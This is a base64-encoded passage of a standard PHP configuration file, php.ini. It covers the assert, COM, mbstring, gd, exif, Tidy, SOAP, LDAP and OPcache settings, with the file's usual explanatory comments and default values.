GVuIGJ5IGFzc2VydC5leGNlcHRpb24gaWYgYWN0aXZlKQ0KOyBodHRwOi8vcGhwLm5ldC9hc3NlcnQud2FybmluZw0KO2Fzc2VydC53YXJuaW5nID0gT24NCg0KOyBEb24mYW1wO2Fwb3M7dCBiYWlsIG91dCBieSBkZWZhdWx0Lg0KOyBodHRwOi8vcGhwLm5ldC9hc3NlcnQuYmFpbA0KO2Fzc2VydC5iYWlsID0gT2ZmDQoNCjsgVXNlci1mdW5jdGlvbiB0byBiZSBjYWxsZWQgaWYgYW4gYXNzZXJ0aW9uIGZhaWxzLg0KOyBodHRwOi8vcGhwLm5ldC9hc3NlcnQuY2FsbGJhY2sNCjthc3NlcnQuY2FsbGJhY2sgPSAwDQoNCjsgRXZhbCB0aGUgZXhwcmVzc2lvbiB3aXRoIGN1cnJlbnQgZXJyb3JfcmVwb3J0aW5nKCkuICBTZXQgdG8gdHJ1ZSBpZiB5b3Ugd2FudA0KOyBlcnJvcl9yZXBvcnRpbmcoMCkgYXJvdW5kIHRoZSBldmFsKCkuDQo7IGh0dHA6Ly9waHAubmV0L2Fzc2VydC5xdWlldC1ldmFsDQo7YXNzZXJ0LnF1aWV0X2V2YWwgPSAwDQoNCltDT01dDQo7IHBhdGggdG8gYSBmaWxlIGNvbnRhaW5pbmcgR1VJRHMsIElJRHMgb3IgZmlsZW5hbWVzIG9mIGZpbGVzIHdpdGggVHlwZUxpYnMNCjsgaHR0cDovL3BocC5uZXQvY29tLnR5cGVsaWItZmlsZQ0KO2NvbS50eXBlbGliX2ZpbGUgPQ0KDQo7IGFsbG93IERpc3RyaWJ1dGVkLUNPTSBjYWxscw0KOyBodHRwOi8vcGhwLm5ldC9jb20uYWxsb3ctZGNvbQ0KO2NvbS5hbGxvd19kY29tID0gdHJ1ZQ0KDQo7IGF1dG9yZWdpc3RlciBjb25zdGFudHMgb2YgYSBjb21wb25lbnQmYW1wO2Fwb3M7cyB0eXBsaWIgb24gY29tX2xvYWQoKQ0KOyBodHRwOi8vcGhwLm5ldC9jb20uYXV0b3JlZ2lzdGVyLXR5cGVsaWINCjtjb20uYXV0b3JlZ2lzdGVyX3R5cGVsaWIgPSB0cnVlDQoNCjsgcmVnaXN0ZXIgY29uc3RhbnRzIGNhc2VzZW5zaXRpdmUNCjsgaHR0cDovL3BocC5uZXQvY29tLmF1dG9yZWdpc3Rlci1jYXNlc2Vuc2l0aXZlDQo7Y29tLmF1dG9yZWdpc3Rlcl9jYXNlc2Vuc2l0aXZlID0gZmFsc2UNCg0KOyBzaG93IHdhcm5pbmdzIG9uIGR1cGxpY2F0ZSBjb25zdGFudCByZWdpc3RyYXRpb25zDQo7IGh0dHA6Ly9waHAubmV0L2NvbS5hdXRvcmVnaXN0ZXItdmVyYm9zZQ0KO2NvbS5hdXRvcmVnaXN0ZXJfdmVyYm9zZSA9IHRydWUNCg0KOyBUaGUgZGVmYXVsdCBjaGFyYWN0ZXIgc2V0IGNvZGUtcGFnZSB0byB1c2Ugd2hlbiBwYXNzaW5nIHN0cmluZ3MgdG8gYW5kIGZyb20gQ09NIG9iamVjdHMuDQo7IERlZmF1bHQ6IHN5c3RlbSBBTlNJIGNvZGUgcGFnZQ0KO2NvbS5jb2RlX3BhZ2U9DQoNClttYnN0cmluZ10NCjsgbGFuZ3VhZ2UgZm9yIGludGVybmFsIGNoYXJhY3RlciByZXByZXNlbnRhdGlvbi4NCjsgVGhpcyBhZmZlY3RzIG1iX3NlbmRfbWFpbCgpIGFuZCBtYnN0cmluZy5kZXRlY3Rfb3JkZXIuDQo7IGh0dHA6Ly9waHAubmV0L21ic3RyaW5nLmxhbmd1YWdlDQo7bWJzdHJpbmcubGFuZ3VhZ2UgPSBKYXBhbmVzZQ0KDQo7IFVzZSBvZiB0aGlzIElOSSBlbnRyeSBpcyBkZXByZWNhdGVkLCB1c2UgZ2xvYmFsIGludGVybmFsX2VuY29kaW5nIGluc3RlYWQuDQo7IGludGVybmFsL3NjcmlwdCBlbmNvZGluZy4NCjsgU29tZSBlbmNvZGluZyBjYW5ub3Qgd29yayBhcyBpbnRlcm5hbCBlbmNvZGluZy4gKGUuZy4gU0pJUywgQklHNSwgSVNPLTIwMjItKikNCjsgSWYgZW1wdHksIGRlZmF1bHRfY2hhcnNldCBvciBpbnRlcm5hbF9lbmNvZGluZyBvciBpY29udi5pbnRlcm5hbF9lbmNvZGluZyBpcyB1c2VkLg0KOyBUaGUgcHJlY2VkZW5jZSBpczogZGVmYXVsdF9jaGFyc2V0ICZhbXA7bHQ7IGludGVybmFsX2VuY29kaW5nICZhbXA7bHQ7IGljb252LmludGVybmFsX2VuY29kaW5nDQo7bWJzdHJpbmcuaW50ZXJuYWxfZW5jb2RpbmcgPQ0KDQo7IFVzZSBvZiB0aGlzIElOSSBlbnRyeSBpcyBkZXByZWNhdGVkLCB1c2UgZ2xvYmFsIGlucHV0X2VuY29kaW5nIGluc3RlYWQuDQo7IGh0dHAgaW5wdXQgZW5jb2RpbmcuDQo7IG1ic3RyaW5nLmVuY29kaW5nX3RyYW5zbGF0aW9uID0gT24gaXMgbmVlZGVkIHRvIHVzZSB0aGlzIHNldHRpbmcuDQo7IElmIGVtcHR5LCBkZWZhdWx0X2NoYXJzZXQgb3IgaW5wdXRfZW5jb2Rpbmcgb3IgbWJzdHJpbmcuaW5wdXQgaXMgdXNlZC4NCjsgVGhlIHByZWNlZGVuY2UgaXM6IGRlZmF1bHRfY2hhcnNldCAmYW1wO2x0OyBpbnB1dF9lbmNvZGluZyAmYW1wO2x0OyBtYnN0aW5nLmh0dHBfaW5wdXQNCjsgaHR0cDovL3BocC5uZXQvbWJzdHJpbmcuaHR0cC1pbnB1dA0KO21ic3RyaW5nLmh0dHBfaW5wdXQgPQ0KDQo7IFVzZSBvZiB0aGlzIElOSSBlbnRyeSBpcyBkZXByZWNhdGVkLCB1c2UgZ2xvYmFsIG91dHB1dF9lbmNvZGluZyBpbnN0ZWFkLg0KOyBodHRwIG91dHB1dCBlbmNvZGluZy4NCjsgbWJfb3V0cHV0X2hhbmRsZXIgbXVzdCBiZSByZWdpc3RlcmVkIGFzIG91dHB1dCBidWZmZXIgdG8gZnVuY3Rpb24uDQo7IElmIGVtcHR5LCBkZWZhdWx0X2NoYXJzZXQgb3Igb3V0cHV0X2VuY29kaW5nIG9yIG1ic3RyaW5nLmh0dHBfb3V0cHV0IGlzIHVzZWQuDQo7IFRoZSBwcmVjZWRlbmNlIGlzOiBkZWZhdWx0X2NoYXJzZXQgJmFtcDtsdDsgb3V0cHV0X2VuY29kaW5nICZhbXA7bHQ7IG1ic3RyaW5nLmh0dHBfb3V0cHV0DQo7IFRvIHVzZSBhbiBvdXRwdXQgZW5jb2RpbmcgY29udmVyc2lvbiwgbWJzdHJpbmcmYW1wO2Fwb3M7cyBvdXRwdXQgaGFuZGxlciBtdXN0IGJlIHNldA0KOyBvdGhlcndpc2Ugb3V0cHV0IGVuY29kaW5nIGNvbnZlcnNpb24gY2Fubm90IGJlIHBlcmZvcm1lZC4NCjsgaHR0cDovL3BocC5uZXQvbWJzdHJpbmcuaHR0cC1vdXRwdXQNCjttYnN0cmluZy5odHRwX291dHB1dCA9DQoNCjsgZW5hYmxlIGF1dG9tYXRpYyBlbmNvZGluZyB0cmFuc2xhdGlvbiBhY2NvcmRpbmcgdG8NCjsgbWJzdHJpbmcuaW50ZXJuYWxfZW5jb2Rpbmcgc2V0dGluZy4gSW5wdXQgY2hhcnMgYXJlDQo7IGNvbnZlcnRlZCB0byBpbnRlcm5hbCBlbmNvZGluZyBieSBzZXR0aW5nIHRoaXMgdG8gT24uDQo7IE5vdGU6IERvIF9ub3RfIHVzZSBhdXRvbWF0aWMgZW5jb2RpbmcgdHJhbnNsYXRpb24gZm9yDQo7ICAgICAgIHBvcnRhYmxlIGxpYnMvYXBwbGljYXRpb25zLg0KOyBodHRwOi8vcGhwLm5ldC9tYnN0cmluZy5lbmNvZGluZy10cmFuc2xhdGlvbg0KO21ic3RyaW5nLmVuY29kaW5nX3RyYW5zbGF0aW9uID0gT2ZmDQoNCjsgYXV0b21hdGljIGVuY29kaW5nIGRldGVjdGlvbiBvcmRlci4NCjsgJmFtcDtxdW90O2F1dG8mYW1wO3F1b3Q7IGRldGVjdCBvcmRlciBpcyBjaGFuZ2VkIGFjY29yZGluZyB0byBtYnN0cmluZy5sYW5ndWFnZQ0KOyBodHRwOi8vcGhwLm5ldC9tYnN0cmluZy5kZXRlY3Qtb3JkZXINCjttYnN0cmluZy5kZXRlY3Rfb3JkZXIgPSBhdXRvDQoNCjsgc3Vic3RpdHV0ZV9jaGFyYWN0ZXIgdXNlZCB3aGVuIGNoYXJhY3RlciBjYW5ub3QgYmUgY29udmVydGVkDQo7IG9uZSBmcm9tIGFub3RoZXINCjsgaHR0cDovL3BocC5uZXQvbWJzdHJpbmcuc3Vic3RpdHV0ZS1jaGFyYWN0ZXINCjttYnN0cmluZy5zdWJzdGl0dXRlX2NoYXJhY3RlciA9IG5vbmUNCg0KOyBvdmVybG9hZChyZXBsYWNlKSBzaW5nbGUgYnl0ZSBmdW5jdGlvbnMgYnkgbWJzdHJpbmcgZnVuY3Rpb25zLg0KOyBtYWlsKCksIGVyZWcoKSwgZXRjIGFyZSBvdmVybG9hZGVkIGJ5IG1iX3NlbmRfbWFpbCgpLCBtYl9lcmVnKCksDQo7IGV0Yy4gUG9zc2libGUgdmFsdWVzIGFyZSAwLDEsMiw0IG9yIGNvbWJpbmF0aW9uIG9mIHRoZW0uDQo7IEZvciBleGFtcGxlLCA3IGZvciBvdmVybG9hZCBldmVyeXRoaW5nLg0KOyAwOiBObyBvdmVybG9hZA0KOyAxOiBPdmVybG9hZCBtYWlsKCkgZnVuY3Rpb24NCjsgMjogT3ZlcmxvYWQgc3RyKigpIGZ1bmN0aW9ucw0KOyA0OiBPdmVybG9hZCBlcmVnKigpIGZ1bmN0aW9ucw0KOyBodHRwOi8vcGhwLm5ldC9tYnN0cmluZy5mdW5jLW92ZXJsb2FkDQo7bWJzdHJpbmcuZnVuY19vdmVybG9hZCA9IDANCg0KOyBlbmFibGUgc3RyaWN0IGVuY29kaW5nIGRldGVjdGlvbi4NCjsgRGVmYXVsdDogT2ZmDQo7bWJzdHJpbmcuc3RyaWN0X2RldGVjdGlvbiA9IE9uDQoNCjsgVGhpcyBkaXJlY3RpdmUgc3BlY2lmaWVzIHRoZSByZWdleCBwYXR0ZXJuIG9mIGNvbnRlbnQgdHlwZXMgZm9yIHdoaWNoIG1iX291dHB1dF9oYW5kbGVyKCkNCjsgaXMgYWN0aXZhdGVkLg0KOyBEZWZhdWx0OiBtYnN0cmluZy5odHRwX291dHB1dF9jb252X21pbWV0eXBlPV4odGV4dC98YXBwbGljYXRpb24veGh0bWxcK3htbCkNCjttYnN0cmluZy5odHRwX291dHB1dF9jb252X21pbWV0eXBlPQ0KDQo7IFRoaXMgZGlyZWN0aXZlIHNwZWNpZmllcyBtYXhpbXVtIHN0YWNrIGRlcHRoIGZvciBtYnN0cmluZyByZWd1bGFyIGV4cHJlc3Npb25zLiBJdCBpcyBzaW1pbGFyDQo7IHRvIHRoZSBwY3JlLnJlY3Vyc2lvbl9saW1pdCBmb3IgUENSRS4gDQo7IERlZmF1bHQ6IDEwMDAwMA0KO21ic3RyaW5nLnJlZ2V4X3N0YWNrX2xpbWl0PTEwMDAwMA0KDQpbZ2RdDQo7IFRlbGwgdGhlIGpwZWcgZGVjb2RlIHRvIGlnbm9yZSB3YXJuaW5ncyBhbmQgdHJ5IHRvIGNyZWF0ZQ0KOyBhIGdkIGltYWdlLiBUaGUgd2FybmluZyB3aWxsIHRoZW4gYmUgZGlzcGxheWVkIGFzIG5vdGljZXMNCjsgZGlzYWJsZWQgYnkgZGVmYXVsdA0KOyBodHRwOi8vcGhwLm5ldC9nZC5qcGVnLWlnbm9yZS13YXJuaW5nDQo7Z2QuanBlZ19pZ25vcmVfd2FybmluZyA9IDENCg0KW2V4aWZdDQo7IEV4aWYgVU5JQ09ERSB1c2VyIGNvbW1lbnRzIGFyZSBoYW5kbGVkIGFzIFVDUy0yQkUvVUNTLTJMRSBhbmQgSklTIGFzIEpJUy4NCjsgV2l0aCBtYnN0cmluZyBzdXBwb3J0IHRoaXMgd2lsbCBhdXRvbWF0aWNhbGx5IGJlIGNvbnZlcnRlZCBpbnRvIHRoZSBlbmNvZGluZw0KOyBnaXZlbiBieSBjb3JyZXNwb25kaW5nIGVuY29kZSBzZXR0aW5nLiBXaGVuIGVtcHR5IG1ic3RyaW5nLmludGVybmFsX2VuY29kaW5nDQo7IGlzIHVzZWQuIEZvciB0aGUgZGVjb2RlIHNldHRpbmdzIHlvdSBjYW4gZGlzdGluZ3Vpc2ggYmV0d2VlbiBtb3Rvcm9sYSBhbmQNCjsgaW50ZWwgYnl0ZSBvcmRlci4gQSBkZWNvZGUgc2V0dGluZyBjYW5ub3QgYmUgZW1wdHkuDQo7IGh0dHA6Ly9waHAubmV0L2V4aWYuZW5jb2RlLXVuaWNvZGUNCjtleGlmLmVuY29kZV91bmljb2RlID0gSVNPLTg4NTktMTUNCg0KOyBodHRwOi8vcGhwLm5ldC9leGlmLmRlY29kZS11bmljb2RlLW1vdG9yb2xhDQo7ZXhpZi5kZWNvZGVfdW5pY29kZV9tb3Rvcm9sYSA9IFVDUy0yQkUNCg0KOyBodHRwOi8vcGhwLm5ldC9leGlmLmRlY29kZS11bmljb2RlLWludGVsDQo7ZXhpZi5kZWNvZGVfdW5pY29kZV9pbnRlbCAgICA9IFVDUy0yTEUNCg0KOyBodHRwOi8vcGhwLm5ldC9leGlmLmVuY29kZS1qaXMNCjtleGlmLmVuY29kZV9qaXMgPQ0KDQo7IGh0dHA6Ly9waHAubmV0L2V4aWYuZGVjb2RlLWppcy1tb3Rvcm9sYQ0KO2V4aWYuZGVjb2RlX2ppc19tb3Rvcm9sYSA9IEpJUw0KDQo7IGh0dHA6Ly9waHAubmV0L2V4aWYuZGVjb2RlLWppcy1pbnRlbA0KO2V4aWYuZGVjb2RlX2ppc19pbnRlbCAgICA9IEpJUw0KDQpbVGlkeV0NCjsgVGhlIHBhdGggdG8gYSBkZWZhdWx0IHRpZHkgY29uZmlndXJhdGlvbiBmaWxlIHRvIHVzZSB3aGVuIHVzaW5nIHRpZHkNCjsgaHR0cDovL3BocC5uZXQvdGlkeS5kZWZhdWx0LWNvbmZpZw0KO3RpZHkuZGVmYXVsdF9jb25maWcgPSAvdXNyL2xvY2FsL2xpYi9waHAvZGVmYXVsdC50Y2ZnDQoNCjsgU2hvdWxkIHRpZHkgY2xlYW4gYW5kIHJlcGFpciBvdXRwdXQgYXV0b21hdGljYWxseT8NCjsgV0FSTklORzogRG8gbm90IHVzZSB0aGlzIG9wdGlvbiBpZiB5b3UgYXJlIGdlbmVyYXRpbmcgbm9uLWh0bWwgY29udGVudA0KOyBzdWNoIGFzIGR5bmFtaWMgaW1hZ2VzDQo7IGh0dHA6Ly9waHAubmV0L3RpZHkuY2xlYW4tb3V0cHV0DQp0aWR5LmNsZWFuX291dHB1dCA9IE9mZg0KDQpbc29hcF0NCjsgRW5hYmxlcyBvciBkaXNhYmxlcyBXU0RMIGNhY2hpbmcgZmVhdHVyZS4NCjsgaHR0cDovL3BocC5uZXQvc29hcC53c2RsLWNhY2hlLWVuYWJsZWQNCnNvYXAud3NkbF9jYWNoZV9lbmFibGVkPTENCg0KOyBTZXRzIHRoZSBkaXJlY3RvcnkgbmFtZSB3aGVyZSBTT0FQIGV4dGVuc2lvbiB3aWxsIHB1dCBjYWNoZSBmaWxlcy4NCjsgaHR0cDovL3BocC5uZXQvc29hcC53c2RsLWNhY2hlLWRpcg0Kc29hcC53c2RsX2NhY2hlX2Rpcj0mYW1wO3F1b3Q7L3RtcCZhbXA7cXVvdDsNCg0KOyAodGltZSB0byBsaXZlKSBTZXRzIHRoZSBudW1iZXIgb2Ygc2Vjb25kIHdoaWxlIGNhY2hlZCBmaWxlIHdpbGwgYmUgdXNlZA0KOyBpbnN0ZWFkIG9mIG9yaWdpbmFsIG9uZS4NCjsgaHR0cDovL3BocC5uZXQvc29hcC53c2RsLWNhY2hlLXR0bA0Kc29hcC53c2RsX2NhY2hlX3R0bD04NjQwMA0KDQo7IFNldHMgdGhlIHNpemUgb2YgdGhlIGNhY2hlIGxpbWl0LiAoTWF4LiBudW1iZXIgb2YgV1NETCBmaWxlcyB0byBjYWNoZSkNCnNvYXAud3NkbF9jYWNoZV9saW1pdCA9IDUNCg0KW3N5c3ZzaG1dDQo7IEEgZGVmYXVsdCBzaXplIG9mIHRoZSBzaGFyZWQgbWVtb3J5IHNlZ21lbnQNCjtzeXN2c2htLmluaXRfbWVtID0gMTAwMDANCg0KW2xkYXBdDQo7IFNldHMgdGhlIG1heGltdW0gbnVtYmVyIG9mIG9wZW4gbGlua3Mgb3IgLTEgZm9yIHVubGltaXRlZC4NCmxkYXAubWF4X2xpbmtzID0gLTENCg0KW2RiYV0NCjtkYmEuZGVmYXVsdF9oYW5kbGVyPQ0KDQpbb3BjYWNoZV0NCjsgRGV0ZXJtaW5lcyBpZiBaZW5kIE9QQ2FjaGUgaXMgZW5hYmxlZA0KO29wY2FjaGUuZW5hYmxlPTENCg0KOyBEZXRlcm1pbmVzIGlmIFplbmQgT1BDYWNoZSBpcyBlbmFibGVkIGZvciB0aGUgQ0xJIHZlcnNpb24gb2YgUEhQDQo7b3BjYWNoZS5lbmFibGVfY2xpPTANCg0KOyBUaGUgT1BjYWNoZSBzaGFyZWQgbWVtb3J5IHN0b3JhZ2Ugc2l6ZS4NCjtvcGNhY2hlLm1lbW9yeV9jb25zdW1wdGlvbj0xMjgNCg0KOyBUaGUgYW1vdW50IG9mIG1lbW9yeSBmb3IgaW50ZXJuZWQgc3RyaW5ncyBpbiBNYnl0ZXMuDQo7b3BjYWNoZS5pbnRlcm5lZF9zdHJpbmdzX2J1ZmZlcj04DQoNCjsgVGhlIG1heGltdW0gbnVtYmVyIG9mIGtleXMgKHNjcmlwdHMpIGluIHRoZSBPUGNhY2hlIGhhc2ggdGFibGUuDQo7IE9ubHkgbnVtYmVycyBiZXR3ZWVuIDIwMCBhbmQgMTAwMDAwMCBhcmUgYWxsb3dlZC4NCjtvcGNhY2hlLm1heF9hY2NlbGVyYXRlZF9maWxlcz0xMDAwMA0KDQo7IFRoZSBtYXhpbXVtIHBlcmNlbnRhZ2Ugb2YgJmFtcDtxdW90O3dhc3RlZCZhbXA7cXVvdDsgbWVtb3J5IHVudGlsIGEgcmVzdGFydCBpcyBzY2hlZHVsZWQuDQo7b3BjYWNoZS5tYXhfd2FzdGVkX3BlcmNlbnRhZ2U9NQ0KDQo7IFdoZW4gdGhpcyBkaXJlY3RpdmUgaXMgZW5hYmxlZCwgdGhlIE9QY2FjaGUgYXBwZW5kcyB0aGUgY3VycmVudCB3b3JraW5nDQo7IGRpcmVjdG9yeSB0byB0aGUgc2NyaXB0IGtleSwgdGh1cyBlbGltaW5hdGluZyBwb3NzaWJsZSBjb2xsaXNpb25zIGJldHdlZW4NCjsgZmlsZXMgd2l0aCB0aGUgc2FtZSBuYW1lIChiYXNlbmFtZSkuIERpc2FibGluZyB0aGUgZGlyZWN0aXZlIGltcHJvdmVzDQo7IHBlcmZvcm1hbmNlLCBidXQgbWF5IGJyZWFrIGV4aXN0aW5nIGFwcGxpY2F0aW9ucy4NCjtvcGNhY2hlLnVzZV9jd2Q9MQ0KDQo7IFdoZW4gZGlzYWJsZWQsIHlvdSBtdXN0IHJlc2V0IHRoZSBPUGNhY2hlIG1hbnVhbGx5IG9yIHJlc3RhcnQgdGhlDQo7IHdlYnNlcnZlciBmb3IgY2hhbmdlcyB0byB0aGUgZmlsZXN5c3RlbSB0byB0YWtlIGVmZmVjdC4NCjtvcGNhY2hlLnZhbGlkYXRlX3RpbWVzdGFtcHM9MQ0KDQo7IEhvdyBvZnRlbiAoaW4gc2Vjb25kcykgdG8gY2hlY2sgZmlsZSB0aW1lc3RhbXBzIGZvciBjaGFuZ2VzIHRvIHRoZSBzaGFyZWQNCjsgbWVtb3J5IHN0b3JhZ2UgYWxsb2NhdGlvbi4gKCZhbXA7cXVvdDsxJmFtcDtxdW90OyBtZWFucyB2YWxpZGF0ZSBvbmNlIHBlciBzZWNvbmQsIGJ1dCBvbmx5DQo7IG9uY2UgcGVyIHJlcXVlc3QuICZhbXA7cXVvdDswJmFtcDtxdW90OyBtZWFucyBhbHdheXMgdmFsaWRhdGUpDQo7b3BjYWNoZS5yZXZhbGlkYXRlX2ZyZXE9Mg0KDQo7IEVuYWJsZXMgb3IgZGlzYWJsZXMgZmlsZSBzZWFyY2ggaW4gaW5jbHVkZV9wYXRoIG9wdGltaXphdGlvbg0KO29wY2FjaGUucmV2YWxpZGF0ZV9wYXRoPTANCg0KOyBJZiBkaXNhYmxlZCwgYWxsIFBIUERvYyBjb21tZW50cyBhcmUgZHJvcHBlZCBmcm9tIHRoZSBjb2RlIHRvIHJlZHVjZSB0aGUNCjsgc2l6ZSBvZiB0aGUgb3B0aW1pemVkIGNvZGUuDQo7b3BjYWNoZS5zYXZlX2NvbW1lbnRzPTENCg0KOyBBbGxvdyBmaWxlIGV4aXN0ZW5jZSBvdmVycmlkZSAoZmlsZV9leGlzdHMsIGV0Yy4pIHBlcmZvcm1hbmNlIGZlYXR1cmUuDQo7b3BjYWNoZS5lbmFibGVfZmlsZV9vdmVycmlkZT0wDQoNCjsgQSBiaXRtYXNrLCB3aGVyZSBlYWNoIGJpdCBlbmFibGVzIG9yIGRpc2FibGVzIHRoZSBhcHByb3ByaWF0ZSBPUGNhY2hlDQo7IHBhc3Nlcw0KO29wY2FjaGUub3B0aW1pemF0aW9uX2xldmVsPTB4N0ZGRkJGRkYNCg0KO29wY2FjaGUuZHVwc19maXg9MA0KDQo7IFRoZSBsb2NhdGlvbiBvZiB0aGUgT1BjYWNoZSBibGFja2xpc3QgZmlsZSAod2lsZGNhcmRzIGFsbG93ZWQpLg0KOyBFYWNoIE9QY2FjaGUgYmxhY2tsaXN0IGZpbGUgaXMgYSB0ZXh0IGZpbGUgdGhhdCBob2xkcyB0aGUgbmFtZXMgb2YgZmlsZXMNCjsgdGhhdCBzaG91bGQgbm90IGJlIGFjY2VsZXJhdGVkLiBUaGUgZmlsZSBmb3JtYXQgaXMgdG8gYWRkIGVhY2ggZmlsZW5hbWUNCjsgdG8gYSBuZXcgbGluZS4gVGhlIGZpbGVuYW1lIG1heSBiZSBhIGZ1bGwgcGF0aCBvciBqdXN0IGEgZmlsZSBwcmVmaXgNCjsgKGkuZS4sIC92YXIvd3d3L3ggIGJsYWNrbGlzdHMgYWxsIHRoZSBmaWxlcyBhbmQgZGlyZWN0b3JpZXMgaW4gL3Zhci93d3cNCjsgdGhhdCBzdGFydCB3aXRoICZhbXA7YXBvczt4JmFtcDthcG9zOykuIExpbmUgc3RhcnRpbmcgd2l0aCBhIDsgYXJlIGlnbm9yZWQgKGNvbW1lbnRzKS4NCjtvcGNhY2hlLmJsYWNrbGlzdF9maWxlbmFtZT0NCg0KOyBBbGxvd3MgZXhjbHVzaW9uIG9mIGxhcmdlIGZpbGVzIGZyb20gYmVpbmcgY2FjaGVkLiBCeSBkZWZhdWx0IGFsbCBmaWxlcw0KOyBhcmUgY2FjaGVkLg0KO29wY2FjaGUubWF4X2ZpbGVfc2l6ZT0wDQoNCjsgQ2hlY2sgdGhlIGNhY2hlIGNoZWNrc3VtIGVhY2ggTiByZXF1ZXN0cy4NCjsgVGhlIGRlZmF1bHQgdmFsdWUgb2YgJmFtcDtxdW90OzAmYW1wO3F1b3Q7IG1lYW5zIHRoYXQgdGhlIGNoZWNrcyBhcmUgZGlzYWJsZWQuDQo7b3BjYWNoZS5jb25zaXN0ZW5jeV9jaGVja3M9MA0KDQo7IEhvdyBsb25nIHRvIHdhaXQgKGluIHNlY29uZHMpIGZvciBhIHNjaGVkdWxlZCByZXN0YXJ0IHRvIGJlZ2luIGlmIHRoZSBjYWNoZQ0KOyBpcyBub3QgYmVpbmcgYWNjZXNzZWQuDQo7b3BjYWNoZS5mb3JjZV9yZXN0YXJ0X3RpbWVvdXQ9MTgwDQoNCjsgT1BjYWNoZSBlcnJvcl9sb2cgZmlsZSBuYW1lLiBFbXB0eSBzdHJpbmcgYXNzdW1lcyAmYW1wO3F1b3Q7c3RkZXJyJmFtcDtxdW90Oy4NCjtvcGNhY2hlLmVycm9yX2xvZz0NCg0KOyBBbGwgT1BjYWNoZSBlcnJvcnMgZ28gdG8gdGhlIFdlYiBzZXJ2ZXIgbG9nLg0KOyBCeSBkZWZhdWx0LCBvbmx5IGZhdGFsIGVycm9ycyAobGV2ZWwgMCkgb3IgZXJyb3JzIChsZXZlbCAxKSBhcmUgbG9nZ2VkLg0KOyBZb3UgY2FuIGFsc28gZW5hYmxlIHdhcm5pbmdzIChsZXZlbCAyKSwgaW5mbyBtZXNzYWdlcyAobGV2ZWwgMykgb3INCjsgZGVidWcgbWVzc2FnZXMgKGxldmVsIDQpLg0KO29wY2FjaGUubG9nX3ZlcmJvc2l0eV9sZXZlbD0xDQoNCjsgUHJlZmVycmVkIFNoYXJlZCBNZW1vcnkgYmFjay1lbmQuIExlYXZlIGVtcHR5IGFuZCBsZXQgdGhlIHN5c3RlbSBkZWNpZGUuDQo7b3BjYWNoZS5wcmVmZXJyZWRfbWVtb3J5X21vZGVsPQ0KDQo7IFByb3RlY3QgdGhlIHNoYXJlZCBtZW1vcnkgZnJvbSB1bmV4cGVjdGVkIHdyaXRpbmcgZHVyaW5nIHNjcmlwdCBleGVjdXRpb24uDQo7IFVzZWZ1bCBmb3IgaW50ZXJuYWwgZGVidWdnaW5nIG9ubHkuDQo7b3BjYWNoZS5wcm90ZWN0X21lbW9yeT0wDQoNCjsgQWxsb3dzIGNhbGxpbmcgT1BjYWNoZSBBUEkgZnVuY3Rpb25zIG9ubHkgZnJvbSBQSFAgc2NyaXB0cyB3aGljaCBwYXRoIGlzDQo7IHN0YXJ0ZWQgZnJvbSBzcGVjaWZpZWQgc3RyaW5nLiBUaGUgZGVmYXVsdCAmYW1wO3F1b3Q7JmFtcDtxdW90OyBtZWFucyBubyByZXN0cmljdGlvbg0KO29wY2FjaGUucmVzdHJpY3RfYXBpPQ0KDQo7IE1hcHBpbmcgYmFzZSBvZiBzaGFyZWQgbWVtb3J5IHNlZ21lbnRzIChmb3IgV2luZG93cyBvbmx5KS4gQWxsIHRoZSBQSFANCjsgcHJvY2Vzc2VzIGhhdmUgdG8gbWFwIHNoYXJlZCBtZW1vcnkgaW50byB0aGUgc2FtZSBhZGRyZXNzIHNwYWNlLiBUaGlzDQo7IGRpcmVjdGl2ZSBhbGxvd3MgdG8gbWFudWFsbHkgZml4IHRoZSAmYW1wO3F1b3Q7VW5hYmxlIHRvIHJlYXR0YWNoIHRvIGJhc2UgYWRkcmVzcyZhbXA7cXVvdDsNCjsgZXJyb3JzLg0KO29wY2FjaGUubW1hcF9iYXNlPQ0KDQo7IEVuYWJsZXMgYW5kIHNldHMgdGhlIHNlY29uZCBsZXZlbCBjYWNoZSBkaXJlY3RvcnkuDQo7IEl0IHNob3VsZCBpbXByb3ZlIHBlcmZvcm1hbmNlIHdoZW4gU0hNIG1lbW9yeSBpcyBmdWxsLCBhdCBzZXJ2ZXIgcmVzdGFydCBvcg0KOyBTSE0gcmVzZXQuIFRoZSBkZWZhdWx0ICZhbXA7cXVvdDsmYW1wO3F1b3Q7IGRpc2FibGVzIGZpbGUgYmFzZWQgY2FjaGluZy4NCjtvcGNhY2hlLmZpbGVfY2FjaGU9DQoNCjsgRW5hYmxlcyBvciBkaXNhYmxlcyBvcGNvZGUgY2FjaGluZyBpbiBzaGFyZWQgbWVtb3J5Lg0KO29wY2FjaGUuZmlsZV9jYWNoZV9vbmx5PTANCg0KOyBFbmFibGVzIG9yIGRpc2FibGVzIGNoZWNrc3VtIHZhbGlkYXRpb24gd2hlbiBzY3JpcHQgbG9hZGVkIGZyb20gZmlsZSBjYWNoZS4NCjtvcGNhY2hlLmZpbGVfY2FjaGVfY29uc2lzdGVuY3lfY2hlY2tzPTENCg0KOyBJbXBsaWVzIG9wY2FjaGUuZmlsZV9jYWNoZV9vbmx5PTEgZm9yIGEgY2VydGFpbiBwcm9jZXNzIHRoYXQgZmFpbGVkIHRvDQo7IHJlYXR0YWNoIHRvIHRoZSBzaGFyZWQgbWVtb3J5IChmb3IgV2luZG93cyBvbmx5KS4gRXhwbGljaXRseSBlbmFibGVkIGZpbGUNCjsgY2FjaGUgaXMgcmVxdWlyZWQuDQo7b3BjYWNoZS5maWxlX2NhY2hlX2ZhbGxiYWNrPTENCg0KOyBFbmFibGVzIG9yIGRpc2FibGVzIGNvcHlpbmcgb2YgUEhQIGNvZGUgKHRleHQgc2VnbWVudCkgaW50byBIVUdFIFBBR0VTLg0KOyBUaGlzIHNob3VsZCBpbXByb3ZlIHBlcmZvcm1hbmNlLCBidXQgcmVxdWlyZXMgYXBwcm9wcmlhdGUgT1MgY29uZmlndXJhdGlvbi4NCjtvcGNhY2hlLmh1Z2VfY29kZV9wYWdlcz0wDQoNCjsgVmFsaWRhdGUgY2FjaGVkIGZpbGUgcGVybWlzc2lvbnMuDQo7b3BjYWNoZS52YWxpZGF0ZV9wZXJtaXNzaW9uPTANCg0KOyBQcmV2ZW50IG5hbWUgY29sbGlzaW9ucyBpbiBjaHJvb3QmYW1wO2Fwb3M7ZWQgZW52aXJvbm1lbnQuDQo7b3BjYWNoZS52YWxpZGF0ZV9yb290PTANCg0KOyBJZiBzcGVjaWZpZWQsIGl0IHByb2R1Y2VzIG9wY29kZSBkdW1wcyBmb3IgZGVidWdnaW5nIGR